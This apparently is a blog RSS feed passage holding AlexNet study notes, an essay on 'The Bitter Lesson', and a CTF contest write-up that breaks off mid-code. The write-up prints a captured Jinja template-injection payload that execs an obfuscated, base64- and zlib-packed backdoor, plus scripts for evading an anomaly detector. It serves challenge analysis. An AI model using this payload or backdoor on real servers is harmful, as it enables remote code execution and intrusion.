&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/panel.DQLhJi-a_2qdEV7.webp&quot; alt=&quot;Grad-CAM&quot;&gt;&lt;/p&gt;
&lt;p&gt;Grad-CAM 作用于最后一层卷积层 features.10，用于展示分类决策对应的空间响应区域。结合该样例被正确分类为 daisy 的结果，可以看出该可视化为模型判别依据提供了直观解释，有助于从单样本层面补充对模型可解释性的观察。&lt;/p&gt;
&lt;h2&gt;ReLU：让模型更快收敛&lt;/h2&gt;
&lt;p&gt;当时业界普遍使用的激活函数是 $sigmoid$ 和 $tanh$[^4]，AlexNet 首次在深度卷积网络中使用了 ReLU 激活函数[^5]，并且证明了&lt;strong&gt;它能够让模型更快地收敛&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/relu-nonlinear.EbCqmNl__ZozEsy.webp&quot; alt=&quot;relu&quot;&gt;&lt;/p&gt;
&lt;p&gt;从「传统饱和神经元」到 ReLU，有以下几个好处：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ReLU 的计算量更小。&lt;/li&gt;
&lt;li&gt;有效地应对了梯度消失问题（因为 ReLU 在大于零时梯度恒为 1），模型训练时鲁棒性更强。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;正则化&lt;/h2&gt;
&lt;p&gt;AlexNet 是一个有 60M 参数的大模型，训练数据只有 1.2M 张图片，过拟合是一个非常严重的问题。为了限制过拟合，AlexNet 在模型设计中引入了很多正则化方法。&lt;/p&gt;
&lt;p&gt;机器学习里，「正则化」不是某个具体操作，而是一类方法，核心目标是&lt;strong&gt;限制模型的过拟合，提高泛化能力&lt;/strong&gt;。典型做法包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;L2（weight decay）：通过训练超参数，限制参数大小&lt;/li&gt;
&lt;li&gt;L1：鼓励稀疏&lt;/li&gt;
&lt;li&gt;数据增强：增加训练分布（稍后介绍 AlexNet 的做法）&lt;/li&gt;
&lt;li&gt;早停：限制训练时间&lt;/li&gt;
&lt;li&gt;Dropout：随机丢弃神经元&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Dropout&lt;/h3&gt;
&lt;p&gt;在每一次迭代中，对某全连接层，Dropout通过修改神经网络的结构实现按一定概率将神经元置为0，该神经元不参与前向和反向传播，等同于被删除，此时网络结构不变。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/dropout.aToaoolz_Z5eCCi.webp&quot; alt=&quot;Dropout&quot;&gt;&lt;/p&gt;
&lt;p&gt;Dropout 的作用：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打破 co-adaptation，耦合的、脆弱的表示。&lt;/li&gt;
&lt;li&gt;等价于模型集成（集成学习），每次 dropout 相当于在训练一个「子网络」。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;数据增强&lt;/h3&gt;
&lt;p&gt;这句话第二次重复「AlexNet 是一个有 60M 参数的大模型，训练数据只有 1.2M 张图片，过拟合是一个非常严重的问题。」&lt;/p&gt;
&lt;p&gt;Dropout 是从模型的参数入手增加鲁棒性，数据增强则是从训练数据入手增加鲁棒性。AlexNet 论文中使用了两种数据增强方法：空间变换和颜色扰动。&lt;/p&gt;
&lt;h4&gt;空间变换：裁剪、翻转&lt;/h4&gt;
&lt;p&gt;训练时，从每张图片中随机裁剪出 $224 \times 224$ 的子图（原图是 $256 \times 256$），并且随机水平翻转。&lt;/p&gt;
&lt;p&gt;$(256 - 224)^2 = 32^2 = 1024$ 种位置，再乘以水平翻转可以得到 2048 倍数据扩增。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/data1.BbMhX2nW_Z1OlDet.webp&quot; alt=&quot;data1&quot;&gt;&lt;/p&gt;
&lt;p&gt;测试时，从原图里裁出 5 个 224×224 的 patch，每一张都做一个水平翻转，得到 10 个 patch，分别输入模型进行预测，最后取平均。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/data1.5.CperpzmY_29lw5i.webp&quot; alt=&quot;data1.5&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看作一种提高「平移不变性」的增强方法。&lt;/p&gt;
&lt;h4&gt;颜色扰动：PCA 光照扰动&lt;/h4&gt;
&lt;p&gt;AlexNet 在 RGB 空间做 PCA 分解，沿主成分方向加入随机扰动。&lt;/p&gt;
&lt;p&gt;不过它贡献有限（比不上 ReLU / Dropout / GPU），后来也基本没人用，现在被更简单的方法完全替代（color jitter）。&lt;/p&gt;
&lt;h2&gt;实验实践&lt;/h2&gt;
&lt;h3&gt;数据增强&lt;/h3&gt;
&lt;p&gt;在 AlexNet 为花卉分类的实验中，数据增强的作用非常明显。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./train_curve_compare.svg&quot; alt=&quot;train_curve_compare&quot;&gt;&lt;/p&gt;
&lt;p&gt;仅加入数据增强后，验证精度由 0.7637 提升至 0.8159 （+0.0522）。随机裁剪与水平翻转有效扩展了训练样本分布，缓解了模型对训练集细节的过拟合。同时，最佳 epoch 由第 16 轮推迟至第 23 轮，说明模型需要更多轮次适应多样化输入，但最终获得了更好的泛化效果。数据增强是本实验中收益最显著的单一改进措施。&lt;/p&gt;
&lt;h3&gt;早停&lt;/h3&gt;
&lt;p&gt;在实验过程中，发现大部分模型在第 16-23 轮左右就已经达到了最佳验证精度，继续训练反而会过拟合，验证精度开始下降。因此，早停是一个非常有效的正则化方法，同时它还能减少计算资源的浪费。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/train.C1lzSR_x_Z2uri5F.webp&quot; alt=&quot;train&quot;&gt;&lt;/p&gt;
&lt;h3&gt;权重衰减&lt;/h3&gt;
&lt;p&gt;单独加入 weight_decay=1e-4 后，验证精度从 0.7637 提升至 0.7830，表明权重衰减能在一定程度上抑制参数过大、改善泛化，但收益不及数据增强，说明仅靠参数正则化无法替代样本层面的分布扩展。&lt;/p&gt;
&lt;p&gt;进一步在”增强 + 权重衰减”组合下对比不同衰减系数：5e-5 对应 0.8132，1e-4 对应0.8269，2e-4 对应 0.8049。&lt;/p&gt;
&lt;p&gt;1e-4 在当前实验范围内效果最优——正则化过弱则抑制过拟合不足，过强则限制模型拟合能力。&lt;/p&gt;
&lt;h3&gt;学习率调度&lt;/h3&gt;
&lt;p&gt;加入余弦退火调度后，验证精度反而从 0.7637 降至 0.7473。这说明学习率调度并非在所有场景下都能带来收益。本实验中固定学习率 2e-4 对 Adam 已较为合适，叠加 cosine 调度后后期学习率下降过快，可能导致模型在尚未充分收敛时便进入过小步长阶段。&lt;/p&gt;
&lt;h3&gt;Adam v.s. SGD&lt;/h3&gt;
&lt;p&gt;将 Adam 替换为 SGD 并保持 lr=2e-4 时，最佳验证精度仅为 0.4615。该学习率对 SGD 而言过
小，导致参数更新缓慢、难以充分收敛。补充实验中将学习率提高后：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$lr=5e-3$：验证精度 0.7610&lt;/li&gt;
&lt;li&gt;$lr=1e-2$：验证精度 0.7335&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./exp_best_val_acc.svg&quot; alt=&quot;val_acc&quot;&gt;&lt;/p&gt;
&lt;p&gt;结果表明，SGD 低性能的主因是学习率不匹配，而非优化器本身的缺陷。但即便调至更合适的
学习率， SGD 在本实验中仍未超过 Adam 系列方案，因此在当前任务规模与训练预算下， Adam 仍为
更稳妥的选择。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里需要填坑，后续会学习 Adam v.s. SGD 这些优化器的原理和区别，来分析为什么 Adam 在这个实验中表现更好。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;[^1]: &lt;a href=&quot;https://papers.nips.cc/paper_files/paper/2012/hash/c399862d3b9d6b76c8436e924a68c45b-Abstract.html&quot;&gt;ImageNet Classification with Deep Convolutional Neural Networks, Alex Krizhevsky, Ilya Sutskever, Geoffrey E. Hinton&lt;/a&gt;
[^2]: 来自原始论文中中的 Figure 2: An illustration of the architecture of our CNN, explicitly showing the delineation of responsibilities between the two GPUs. One GPU runs the layer-parts at the top of the figure while the other runs the layer-parts at the bottom. The GPUs communicate only at certain layers. The network’s input is 150,528-dimensional, and the number of neurons in the network’s remaining layers is given by 253,440–186,624–64,896–64,896–43,264– 4096–4096–1000.
[^3]: &lt;a href=&quot;https://en.wikipedia.org/wiki/Universal_approximation_theorem&quot;&gt;Universal approximation theorem&lt;/a&gt;
[^4]: 定义 $sigmoid(x) = \frac{1}{1 + e^{-x}}$ 和 $tanh(x) = \frac{e^x - e^{-x}}{e^x + e^{-x}}$，它们的输出分别是 $(0, 1)$ 和 $(-1, 1)$，它们被作者称为「传统饱和神经元」。
[^5]: &lt;a href=&quot;https://www.cs.toronto.edu/~hinton/absps/reluICML.pdf&quot;&gt;Rectified linear units improve restricted boltzmann machines, Vinod Nair, Geoffrey E. Hinton&lt;/a&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/input.BZI41VXv.png"/><enclosure url="/_astro/input.BZI41VXv.png"/></item><item><title>The Bitter Lesson：ALL IN， 此刻启程</title><link>https://blog.candlest.cc/blog/ai/read-the-bitter-lesson</link><guid isPermaLink="true">https://blog.candlest.cc/blog/ai/read-the-bitter-lesson</guid><description>作为严肃的 AI 学习的第一篇文章，我想用《The Bitter Lesson》作为我们的开始。这篇文章未来会随着我的思考添加更多新颖的例证和观点。</description><pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;未来属于能随着计算规模增长而持续变强的方法&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://www.incompleteideas.net/IncIdeas/BitterLesson.html&quot;&gt;《The Bitter Lesson》&lt;/a&gt; 举了棋类、计算机视觉和语音识别上的例子，凭借着人类先验知识的输入，某些方法能在短期取得优势。但是长期来看，这些「人工结构」都会被能够利用更大规模计算与数据的通用方法所击败。&lt;/p&gt;
&lt;p&gt;长期来看，能利用好通用计算能力在 AI 上不断扩展的方法只有两种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;用更多数据和计算，在参数空间中进行更充分的&lt;strong&gt;学习&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;用更多计算，在解空间中进行更深/更广的&lt;strong&gt;搜索&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;学习和搜索，本质上都是利用计算在高维空间中逼近最优解，只是所处空间不同。&lt;/p&gt;
&lt;p&gt;所以，请永远不要忘记我们出发的初心：我们不是去设计一个最强的人工结构跑出 SOTA，而是去设计一个能随着计算增长而高效改进的通用方法。&lt;/p&gt;
&lt;h2&gt;世界复杂到难以用简单的方法建模&lt;/h2&gt;
&lt;p&gt;世界的动力学极其复杂，远超人类能够显式编码的程度。&lt;/p&gt;
&lt;p&gt;在封闭和低维问题中，显式方法（如 PID、规则系统）依然有效，但在开放、复杂的任务中，这类方法往往难以扩展。人工的 switch-cases，手工特征，甚至是目前部分人尝试在深度学习里模拟「人类理解方式」的做法，往往难以扩展，或在规模增长后被更通用的方法取代。&lt;/p&gt;
&lt;p&gt;我们应该教给 AI 的，&lt;strong&gt;不是建模世界，而是建模如何学习世界&lt;/strong&gt;。AI 应该尽量减少对人类先验结构的依赖地发现特征与联系，而不是在我们的特征与联系下工作。因此，我们不应直接建模世界本身，而应构建能够从数据中自动学习表示与策略的通用方法。AI 的关键不在于执行我们已有的知识，而在于通过计算不断发现更好的表示与解。&lt;/p&gt;
&lt;p&gt;在原文中，Sutton 的说法更加激进：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We have to learn the bitter lesson that building in how we think we think does not work in the long run.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;AI 未来的发展，更像是将模型的约束，从显式的人类先验，逐步转移到由数据和计算驱动、能够自主学习的结构之中。&lt;/p&gt;
&lt;h2&gt;后记（或者说前言）&lt;/h2&gt;
&lt;p&gt;折戟长城杯，意识到 ai 对网安领域的冲击还没有彻底铺开，这个领域这个行业将迎来一场漫长而彻底的变化。&lt;/p&gt;
&lt;p&gt;前辈问我愿不愿意担起下一届校队的责任，我思考良久最终还是选择了拒绝。前辈们也许有些失望，但是依旧安慰我：「能有长期目标规划就行，不要一直纠结摇摆，那样很浪费时间」。&lt;/p&gt;
&lt;p&gt;前几天，转网安群有一个很有趣的话题。大一学医的小登们很多想往外润，理由是不想这么早就决定未来十年二十年要跟这么一个高劳动强度，起薪低的行业高度绑定。前任群主点出了这个问题的核心：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你总要有一天梭哈某个方向，医学只是梭哈的比较早。计算机只是本科阶段比较open，但是不会让你持有的机会成本变低。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;你们不要觉得只有医学才梭哈，学医确实会让你的可能性迅速收敛，年龄增大也会。但是学了计算机的，本科开始梭哈就业/科研的人，收敛的也很快。你很难换路了，要承担很大的沉没成本。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是的，之前大二上进组的时候老师问我，你平转还要尝试卷绩点，你有时间科研吗？&lt;/p&gt;
&lt;p&gt;那个时候我还很自信地觉得我可以把各种各样的事务往我怀里揽，毕竟我相信我自己是一个热爱计算机的人，既然热爱就不会疲倦。&lt;/p&gt;
&lt;p&gt;但是经过半年的实践我发现，那些我往怀里揽的事务，我一样都做不到顶尖。每一样都是马马虎虎，而不能成为在同龄人中亮眼的水平。&lt;/p&gt;
&lt;p&gt;人的热爱并不能违背客观规律，人的精力是有限的，六边形战士很多但是却并不是我（我参数初始化和前 19 年攒的数值太低了），加点加不满。&lt;/p&gt;
&lt;p&gt;尤其是 ai 时代，这个时代对样样还行的平均能力者的需求大幅减少，而是渴求在某一方面极其突出的人。&lt;/p&gt;
&lt;p&gt;我必须做出决定了。半年前刚转到这个学院和班主任聊天就意识到了这个问题，班主任笑着和我说你还有时间探索。但是现在这个时间节点，我真的要做出决定了，我的数值有限，我的精力有限，到底要把点加在什么东西上？&lt;/p&gt;
&lt;p&gt;我决定跟着老师，继续做 Embodied Intelligent，其他的优化目标，全部随缘。&lt;/p&gt;</content:encoded><h:img src="/_astro/anon.CvsHBzjO.png"/><enclosure url="/_astro/anon.CvsHBzjO.png"/></item><item><title>长城杯 2025 初赛题解</title><link>https://blog.candlest.cc/blog/ctf/ccb-2026</link><guid isPermaLink="true">https://blog.candlest.cc/blog/ctf/ccb-2026</guid><description>居然进半决赛了，但是只有三等奖。</description><pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我们的队伍：中山大学 Inflnity 战队&lt;/p&gt;
&lt;h1&gt;The Silent Heist&lt;/h1&gt;
&lt;p&gt;题面约束条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;所有记录需要通过严格的 IsolationForest 异常点检测&lt;/li&gt;
&lt;li&gt;交易总金额 $\sum \text{feat}_0 \ge 2000000$&lt;/li&gt;
&lt;li&gt;新的记录的协方差等统计特征需要和原分布相符合&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;提出解决方案：&lt;/p&gt;
&lt;h2&gt;制作数据&lt;/h2&gt;
&lt;p&gt;首先对原始数据进行标准化，$z = \frac{x - \mu}{\sigma}$ 用映射到 $[-1,1]$ 区间的数据去 fit 一个 IsolationForest。&lt;/p&gt;
&lt;p&gt;再计算标准化后数据的均值和协方差，我们假定数据是多维正态分布的，按照这个假设去生成足够多的数据。&lt;/p&gt;
&lt;p&gt;再使用非常严格（异常阈值设的很高，比如 0.4）的 IsolationForest 去检测我们造出来的数据，筛掉它们。&lt;/p&gt;
&lt;p&gt;最后再把标准化后的数据重新映射到原始尺度上。自此，我们有了足够多的能够通过题目检测的数据。&lt;/p&gt;
&lt;h2&gt;发送数据&lt;/h2&gt;
&lt;p&gt;首先服务器那边有最大发送速度限制。&lt;/p&gt;
&lt;p&gt;然后本地，pwntool 发送行数如果超过 14000 会强行关闭连接。（其实8000条数据足以）&lt;/p&gt;
&lt;h2&gt;题解脚本&lt;/h2&gt;
&lt;h3&gt;生成数据&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 步骤1：加载和预处理数据
import pandas as pd
import numpy as np
from sklearn.preprocessing import StandardScaler
from sklearn.ensemble import IsolationForest
import matplotlib.pyplot as plt
import scipy.stats as stats
from scipy.stats import multivariate_normal

df = pd.read_csv(&apos;public_ledger.csv&apos;)

# 特征选择
features = df[[&apos;f0&apos;, &apos;f1&apos;, &apos;f2&apos;, &apos;f3&apos;, &apos;f4&apos;, &apos;f5&apos;, &apos;f6&apos;, &apos;f7&apos;, &apos;f8&apos;, &apos;f9&apos;, &apos;f10&apos;, &apos;f11&apos;, &apos;f12&apos;, &apos;f13&apos;, &apos;f14&apos;, &apos;f15&apos;, &apos;f16&apos;, &apos;f17&apos;, &apos;f18&apos;, &apos;f19&apos;]]

# 标准化特征
scaler = StandardScaler()
features_scaled = scaler.fit_transform(features)

# 步骤2：训练Isolation Forest
outlier_detector = IsolationForest(n_estimators=100, contamination=0.3)
outlier_detector.fit(features_scaled)

# 生成新数据
new_samples = 120000
mean_vector = np.mean(features_scaled, axis=0)
cov_matrix = np.cov(features_scaled, rowvar=False)

random_state = 42
new_data = multivariate_normal.rvs(
    mean=mean_vector,
    cov=cov_matrix,
    size=new_samples,
    random_state=random_state
)

outlier_predictions = outlier_detector.predict(new_data)
new_df = pd.DataFrame(new_data, columns=features.columns)
new_df[&apos;is_anomaly&apos;] = outlier_predictions
new_df = new_df[new_df[&apos;is_anomaly&apos;] != -1]

# 反标准化
new_data_original = scaler.inverse_transform(new_df.values[:, :-1])

# 处理异常标记列
new_df[&apos;is_anomaly&apos;] = outlier_detector.predict(new_data_original)
new_df[&apos;is_anomaly&apos;] = new_df[&apos;is_anomaly&apos;].values.reshape(-1, 1)

# print(new_df)
# print(new_data_original)

# # 创建新的 DataFrame
# new_df = pd.DataFrame(np.concatenate([new_data_original, new_df[&apos;is_anomaly&apos;]], axis=1),
#                       columns=features.columns + [&apos;is_anomaly&apos;])

# # 保存生成的数据
# new_df.to_csv(&apos;synthesized_data.csv&apos;, index=False)

print(new_df)
print(new_data_original)

df = pd.DataFrame(new_data_original, columns=[&apos;feat_0&apos;, &apos;feat_1&apos;, &apos;feat_2&apos;, &apos;feat_3&apos;, &apos;feat_4&apos;, &apos;feat_5&apos;, &apos;feat_6&apos;, &apos;feat_7&apos;, &apos;feat_8&apos;, &apos;feat_9&apos;, &apos;feat_10&apos;, &apos;feat_11&apos;, &apos;feat_12&apos;, &apos;feat_13&apos;, &apos;feat_14&apos;, &apos;feat_15&apos;, &apos;feat_16&apos;, &apos;feat_17&apos;, &apos;feat_18&apos;, &apos;feat_19&apos;])

df.to_csv(&apos;final.csv&apos;, index=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;上传数据&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *
import time
context.log_level=&quot;debug&quot;

r=remote(&quot;112.126.83.22&quot;,26676)
data=r.recvuntil(&apos;&apos;)
print(data)

with open(&apos;final.csv&apos;, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
    a = 0
    for line in f:
        a = a+1
        if a % 100 == 0:
            print(&apos;暂停&apos;)
            time.sleep(0.1)
            print(&apos;继续&apos;)
        if a == 14000:
            print(&apos;stop&apos;)
            break
        try:
            r.send(line) # 发送带换行符的原始行
        except:
            print(&quot;when a =&quot;, a)
            break

r.send(&apos;EOF&apos;)
r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog-asserts-1258307940.cos.ap-guangzhou.myqcloud.com/blogs/silent_heist.png&quot; alt=&quot;silent_heist&quot;&gt;&lt;/p&gt;
&lt;h1&gt;SnakeBackdoor-3&lt;/h1&gt;
&lt;p&gt;使用 &lt;code&gt;http.request.method == &quot;POST&quot;&lt;/code&gt; 筛选，发现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;29180	259.670311	192.168.1.111	192.168.1.200	HTTP	5369	POST /admin/preview HTTP/1.1  (application/x-www-form-urlencoded)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;模板注入&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{{url_for.__globals__[&apos;__builtins__&apos;][&apos;exec&apos;](&quot;import base64; exec(base64.b64decode(&apos;XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ==&apos;))&quot;, {&apos;request&apos;:url_for.__globals__[&apos;request&apos;],&apos;app&apos;:get_flashed_messages.__globals__[&apos;current_app&apos;]})}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;试了几次后发现是俄罗斯套娃。&lt;/p&gt;
&lt;p&gt;正则表达式匹配，然后循环。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import re
import base64
import zlib

start = &apos;&apos;&apos;
